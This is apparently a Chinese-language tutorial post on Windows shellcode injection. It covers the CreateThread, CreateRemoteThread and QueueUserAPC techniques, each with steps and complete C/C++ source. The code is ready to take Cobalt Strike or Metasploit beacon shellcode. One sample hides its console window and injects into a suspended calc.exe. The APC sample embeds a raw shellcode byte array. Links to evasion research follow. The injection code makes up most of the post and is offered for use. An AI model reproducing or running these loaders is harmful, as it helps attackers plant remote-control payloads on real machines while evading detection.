shellcode 注入执行技术学习

注入执行方式

  • CreateThread
  • CreateRemoteThread
  • QueueUserAPC

CreateThread是一种用于执行Shellcode的技术,而CreateRemoteThread和QueueUserAPC是Shellcode注入的形式。

以下是使用三种不同技术运行shellcode的过程的高级概述

CreateThread

  1. Allocate memory in the current process
  2. Copy shellcode into the allocated memory
  3. Modify the protections of the newly allocated memory to allow execution of code from within that memory space
  4. Create a thread with the base address of the allocated memory segment
  5. Wait on the thread handle to return

翻译:

  1. 1、在当前进程中分配内存
  2. 2、将shellcode复制到分配的内存中
  3. 3、修改新分配的内存的保护,以允许从该内存空间中执行代码
  4. 4、用分配的内存段的基地址创建一个线程
  5. 5、等待线程句柄返回

示例代码:

  1. // dllmain.cpp : 定义 DLL 应用程序的入口点。
  2. #include "stdafx.h"
  3. #include<windows.h>
  4. #include<iostream>
  5. HANDLE My_hThread = NULL;
  6. unsigned char shellcode[] = "shellcode"; //CS或msf生成的shellcode
  7. DWORD WINAPI ceshi(LPVOID pParameter)
  8. {
  9. __asm
  10. {
  11. mov eax, offset shellcode
  12. jmp eax
  13. }
  14. return 0;
  15. }
  16. BOOL APIENTRY DllMain( HMODULE hModule,
  17. DWORD ul_reason_for_call,
  18. LPVOID lpReserved
  19. )
  20. {
  21. switch (ul_reason_for_call)
  22. {
  23. case DLL_PROCESS_ATTACH://初次调用dll时执行下面代码
  24. My_hThread = ::CreateThread(NULL, 0, &ceshi, 0, 0, 0);//新建线程
  25. case DLL_THREAD_ATTACH:
  26. case DLL_THREAD_DETACH:
  27. case DLL_PROCESS_DETACH:
  28. break;
  29. }
  30. return TRUE;
  31. }
  32. extern"C" _declspec(dllexport) void test()
  33. {
  34. int a;
  35. a = 0;
  36. }

CreateRemoteThread

  1. Get the process ID of the process to inject into
  2. Open the target process
  3. Allocate executable memory within the target process
  4. Write shellcode into the allocated memory
  5. Create a thread in the remote process with the start address of the allocated memory segment

翻译:

  1. 1、获取要注入的进程的进程ID
  2. 2、打开目标进程
  3. 3、在目标进程内分配可执行内存
  4. 4、将shellcode写入分配的内存
  5. 5、使用分配的内存段的起始地址在远程进程中创建线程

示例代码:

  1. #include "stdafx.h"
  2. #include <Windows.h>
  3. #include<stdio.h>
  4. #include "iostream"
  5. //隐藏运行程序时的cmd窗口
  6. #pragma comment( linker, "/subsystem:windows /entry:mainCRTStartup" )
  7. using namespace std;
  8. //使用CS或msf生成的C语言格式的上线shellcode
  9. unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2...........";
  10. BOOL injection()
  11. {
  12. wchar_t Cappname[MAX_PATH] = { 0 };
  13. STARTUPINFO si;
  14. PROCESS_INFORMATION pi;
  15. LPVOID lpMalwareBaseAddr;
  16. LPVOID lpnewVictimBaseAddr;
  17. HANDLE hThread;
  18. DWORD dwExitCode;
  19. BOOL bRet = FALSE;
  20. //把基地址设置为自己shellcode数组的起始地址
  21. lpMalwareBaseAddr = shellcode;
  22. //获取系统路径,拼接字符串找到calc.exe的路径
  23. GetSystemDirectory(Cappname, MAX_PATH);
  24. _tcscat(Cappname, L"\\calc.exe");
  25. //打印注入提示
  26. // printf("被注入的程序名:%S\r\n", Cappname);
  27. ZeroMemory(&si, sizeof(si));
  28. si.cb = sizeof(si);
  29. ZeroMemory(&pi, sizeof(pi));
  30. //创建calc.exe进程
  31. if (CreateProcess(Cappname, NULL, NULL, NULL,
  32. FALSE, CREATE_SUSPENDED//CREATE_SUSPENDED新进程的主线程会以暂停的状态被创建,直到调用ResumeThread函数被调用时才运行。
  33. , NULL, NULL, &si, &pi) == 0)
  34. {
  35. return bRet;
  36. }
  37. //在
  38. lpnewVictimBaseAddr = VirtualAllocEx(pi.hProcess
  39. , NULL, sizeof(shellcode) + 1, MEM_COMMIT | MEM_RESERVE,
  40. PAGE_EXECUTE_READWRITE);
  41. if (lpnewVictimBaseAddr == NULL)
  42. {
  43. return bRet;
  44. }
  45. //远程线程注入过程
  46. WriteProcessMemory(pi.hProcess, lpnewVictimBaseAddr,
  47. (LPVOID)lpMalwareBaseAddr, sizeof(shellcode) + 1, NULL);
  48. hThread = CreateRemoteThread(pi.hProcess, 0, 0,
  49. (LPTHREAD_START_ROUTINE)lpnewVictimBaseAddr, NULL, 0, NULL);
  50. WaitForSingleObject(pi.hThread, INFINITE);
  51. GetExitCodeProcess(pi.hProcess, &dwExitCode);
  52. TerminateProcess(pi.hProcess, 0);
  53. return bRet;
  54. }
  55. void help(char* proc)
  56. {
  57. // printf("%s:创建进程并将shellcode写入进程内存\r\n", proc);
  58. }
  59. int main(int argc, char* argv[])
  60. {
  61. help(argv[0]);
  62. injection();
  63. }

QueueUserAPC

  1. Get the process ID of the process to inject into
  2. Open the target process
  3. Allocate memory within the target process
  4. Write shellcode into the allocated memory
  5. Modify the protections of the newly allocated memory to allow execution of code from within that memory space
  6. Open a thread in the remote process with the start address of the allocated memory segment
  7. Submit thread to queue for execution when it enters an “alertable” state
  8. Resume thread to enter “alertable” state

翻译:

  1. 1、获取要注入的进程的进程ID
  2. 2、打开目标进程
  3. 3、在目标进程内分配内存
  4. 4、将shellcode写入分配的内存
  5. 5、修改新分配的内存的保护,以允许从该内存空间中执行代码
  6. 6、使用分配的内存段的起始地址在远程进程中打开一个线程
  7. 7、进入“可更改”状态时将线程提交到队列中以供执行
  8. 8、恢复线程以进入“可更改”状态

示例代码:

  1. #include <iostream>
  2. #include <Windows.h>
  3. #include <TlHelp32.h>
  4. #include <vector>
  5. int main()
  6. {
  7. unsigned char buf[] = "\xE9\x8B\x01\x00\x00\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\x64\xA1\x30\x00\x00\x00\x85\xC0\x78\x0D\x8B\x40\x0C\x8B\x40\x14\x8B\x00\x8B\x00\x8B\x40\x10\xC3\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\x55\x8B\xEC\x83\xEC\x40\x53\x56\x8B\xD9\x57\x89\x5D\xF4\xE8\xCD\xFF\xFF\xFF\x8B\xF0\x33\xFF\x8B\x56\x3C\x39\x7C\x32\x7C\x75\x07\x33\xFF\xE9\x9C\x00\x00\x00\x8B\x44\x32\x78\x85\xC0\x74\xF1\x8B\x54\x30\x18\x85\xD2\x74\xE9\x8B\x4C\x30\x24\x8B\x5C\x30\x20\x03\xCE\x8B\x44\x30\x1C\x03\xDE\x03\xC6\x89\x4D\xFC\x33\xC9\x89\x45\xF8\x4A\x8B\x04\x8B\x03\xC6\x80\x38\x47\x75\x4E\x80\x78\x01\x65\x75\x48\x80\x78\x02\x74\x75\x42\x80\x78\x03\x50\x75\x3C\x80\x78\x04\x72\x75\x36\x80\x78\x05\x6F\x75\x30\x80\x78\x06\x63\x75\x2A\x80\x78\x07\x41\x75\x24\x80\x78\x08\x64\x75\x1E\x80\x78\x09\x64\x75\x18\x80\x78\x0A\x72\x75\x12\x80\x78\x0B\x65\x75\x0C\x80\x78\x0C\x73\x75\x06\x80\x78\x0D\x73\x74\x07\x41\x3B\xCA\x76\xA3\xEB\x0F\x8B\x45\xFC\x8B\x7D\xF8\x0F\xB7\x04\x48\x8B\x3C\x87\x03\xFE\x8B\x5D\xF4\x8D\x45\xC0\x89\x3B\x50\xC7\x45\xC0\x4C\x6F\x61\x64\xC7\x45\xC4\x4C\x69\x62\x72\xC7\x45\xC8\x61\x72\x79\x41\xC6\x45\xCC\x00\xE8\xF9\xFE\xFF\xFF\x50\x8B\x03\xFF\xD0\x8D\x4D\xDC\x89\x43\x04\x51\x8D\x4D\xE8\xC7\x45\xE8\x55\x73\x65\x72\x51\xC7\x45\xEC\x33\x32\x2E\x64\x66\xC7\x45\xF0\x6C\x6C\xC6\x45\xF2\x00\xC7\x45\xDC\x4D\x65\x73\x73\xC7\x45\xE0\x61\x67\x65\x42\xC7\x45\xE4\x6F\x78\x41\x00\xFF\xD0\x50\x8B\x03\xFF\xD0\x89\x43\x08\x8D\x45\xD0\x50\xC7\x45\xD0\x43\x72\x65\x61\xC7\x45\xD4\x74\x65\x46\x69\xC7\x45\xD8\x6C\x65\x41\x00\xE8\x94\xFE\xFF\xFF\x50\x8B\x03\xFF\xD0\x5F\x5E\x89\x43\x0C\x5B\x8B\xE5\x5D\xC3\xCC\xCC\xCC\xCC\xCC\x55\x8B\xEC\x83\xEC\x24\x8D\x4D\xDC\xE8\x92\xFE\xFF\xFF\x6A\x00\x8D\x45\xFC\xC7\x45\xEC\x48\x65\x6C\x6C\x50\x8D\x45\xEC\x66\xC7\x45\xF0\x6F\x21\x50\x6A\x00\xC6\x45\xF2\x00\xC7\x45\xFC\x54\x69\x70\x00\xFF\x55\xE4\x6A\x00\x6A\x00\x6A\x02\x6A\x00\x6A\x00\x68\x00\x00\x00\x40\x8D\x45\xF4\xC7\x45\xF4\x31\x2E\x74\x78\x50\x66\xC7\x45\xF8\x74\x00\xFF\x55\xE8\x8B\xE5\x5D\xC3\xCC\xCC\xCC\xCC";
  8. HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
  9. HANDLE victimProcess = NULL;
  10. PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
  11. THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
  12. std::vector<DWORD> threadIds;
  13. SIZE_T shellSize = sizeof(buf);
  14. HANDLE threadHandle = NULL;
  15. if (Process32First(snapshot, &processEntry)) {
  16. while (_wcsicmp(processEntry.szExeFile, L"Thread_Alertable.exe") != 0) {
  17. Process32Next(snapshot, &processEntry);
  18. }
  19. }
  20. victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
  21. LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  22. PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
  23. WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);
  24. printf("shellAddress is: %p\n", shellAddress);
  25. if (Thread32First(snapshot, &threadEntry)) {
  26. do {
  27. if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
  28. threadIds.push_back(threadEntry.th32ThreadID);
  29. }
  30. } while (Thread32Next(snapshot, &threadEntry));
  31. }
  32. for (DWORD threadId : threadIds) {
  33. threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
  34. QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
  35. printf("apcRoutine is: %p------>threadId:%d\n", apcRoutine, threadId);
  36. Sleep(1000 * 2);
  37. }
  38. return 0;
  39. }

参考资料

你可以在以下链接学到更多知识

https://www.fireeye.com/blog/threat-research/2019/10/staying-hidden-on-the-endpoint-evading-detection-with-shellcode.html

https://github.com/LOLBAS-Project/LOLBAS

https://github.com/fireeye/DueDLLigence

https://mp.weixin.qq.com/s/J78CPtHJX5ouN6fxVxMFgg

https://blog.csdn.net/qq_41874930/article/details/107888800

https://www.jianshu.com/p/bdd302d1ffa8

https://www.cnblogs.com/theseventhson/p/13199381.html

https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection

shellcode 注入执行技术学习的更多相关文章

  1. Android so注入(inject)和Hook技术学习(三)——Got表hook之导出表hook

    前文介绍了导入表hook,现在来说下导出表的hook.导出表的hook的流程如下.1.获取动态库基值 void* get_module_base(pid_t pid, const char* modu ...

  2. 20145314郑凯杰《网络对抗技术》可选实验 shellcode注入与Return-to-libc攻击实验

    20145314郑凯杰<网络对抗技术>可选实验 shellcode注入与Return-to-libc攻击实验 1.0 实践内容 Return-to-libc攻击是一种特殊的缓冲区溢出攻击, ...

  3. 20145320《网络对抗》注入Shellcode并执行

    20145320注入Shellcode并执行 准备一段Shellcode 首先先准备一段C语言代码:这段代码其实和我们的shell功能基本一样 为了之后能够看到反汇编的结果,这次采用的静态编译.正常返 ...

  4. 逆向与BOF基础——注入shellcode并执行&Return-to-libc

    逆向与BOF基础--注入shellcode并执行 准备阶段 下载安装execstack. 本次实验实验的shellcode是心远的文章中生成的代码,即\x31\xc0\x50\x68\x2f\x2f\ ...

  5. 20145305 《网络对抗》注入Shellcode并执行&Return-to-libc 攻击实验

    注入Shellcode并执行 实践指导书 实践过程及结果截图 准备一段Shellcode 我这次实践和老师用的是同一个 设置环境 构造要注入的payload 我决定将返回地址改为0xffffd3a0 ...

  6. 20145335郝昊《网络攻防》Bof逆向基础——ShellCode注入与执行

    20145335郝昊<网络攻防>Bof逆向基础--ShellCode注入与执行 实验原理 关于ShellCode:ShellCode是一段代码,作为数据发送给受攻击服务器,是溢出程序和蠕虫 ...

  7. 20145211《网络对抗》注入Shellcode并执行&&Return-to-libc攻击

    Shellcode注入 基础知识 Shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并将堆栈的返回地址利用缓冲区溢出,覆盖成为指向 shellcode的地址. ...

  8. 20145207李祉昂《网络对抗技术》可选实验 shellcode注入与Return-to-libc攻击实验

    1.0 实践内容 Return-to-libc攻击是一种特殊的缓冲区溢出攻击,通常用于攻击有“栈不可执行”保护措施的目标系统.本实验中我们放弃了让漏洞程序执行堆栈中的shellcode,将用syste ...

  9. 20145231熊梓宏 《网络对抗》 Bof逆向基础.shellcode注入

    20145231网络对抗<逆向及Bof基础>shellcode注入 实验目的与要求 1.本次实践的对象是一个名为pwn1的linux可执行文件. 2.若该程序正常执行,则main函数会调用 ...

随机推荐

  1. SpringCloudAlibaba分布式流量控制组件Sentinel实战与源码分析(上)

    概述 定义 Sentinel官网地址 https://sentinelguard.io/zh-cn/index.html 最新版本v1.8.4 Sentinel官网文档地址 https://senti ...

  2. Maven POM文件介绍

    1. POM文件是什么 1.1 Super POM 1.2 Minimal POM 1.3 Effective POM 3. 项目继承 和 项目聚合 2.1 Project Inheritance 项 ...

  3. 一文聊透 Netty IO 事件的编排利器 pipeline | 详解所有 IO 事件的触发时机以及传播路径

    欢迎关注公众号:bin的技术小屋,本文图片加载不出来的话可查看公众号原文 本系列Netty源码解析文章基于 4.1.56.Final版本 1. 前文回顾 在前边的系列文章中,笔者为大家详细剖析了 Re ...

  4. elementplus轮播图初始空白

    问题表现 初始轮播图出现大块空白,在规定的时间间隔后才会正常轮播出下一章图片 问题解决 动态数据添加图片,初次渲染dom因为数据还没有请求回来,所以会出现这样的bug,需要添加v-fi="l ...

  5. 常用源&配置

    ubuntu16.04 阿里 cp /etc/apt/sources.list /etc/apt/sources.list.orgin && \ echo "\ deb ht ...

  6. 使用Win自带的远程工具连接Linux

    网上教程一大堆,我这边只简单记录一下,主要是黑屏问题,和剪贴板问题.Win连接Linux,一般都是使用的xrdp, 如果是使用的旧版本的Ubuntu,建议先装一下xfce桌面,gnome桌面一般连不起 ...

  7. llinux的mysql数据库完全卸载

    https://blog.csdn.net/qq_41829904/article/details/92966943https://www.cnblogs.com/javahr/p/9245443.h ...

  8. 总结vue 需要掌握的知识点

    使用的开发工具是webstorm,它是默认就安装好了vuejs插件,idea要使用的话,需要安装一下该插件 一.快速搭建项目vue-cli 脚手架(Vue2.0) 1.Vue CLI使用前提 –Nod ...

  9. ApiDay002_02 Object中的包装类

    1.Object:对象/东西 是所有类的鼻祖,所有类都直接或间接继承了Object, 万物皆对象,为了多态 Objec中有几个经常被派生类重写的方法:toString()和equals(); 调用to ...

  10. Hbuilderx Eslint配置

    [参照链接]https://blog.csdn.net/m0_67394002/article/details/123346267 安装插件 eslint-js eslint-plugin-vue 复 ...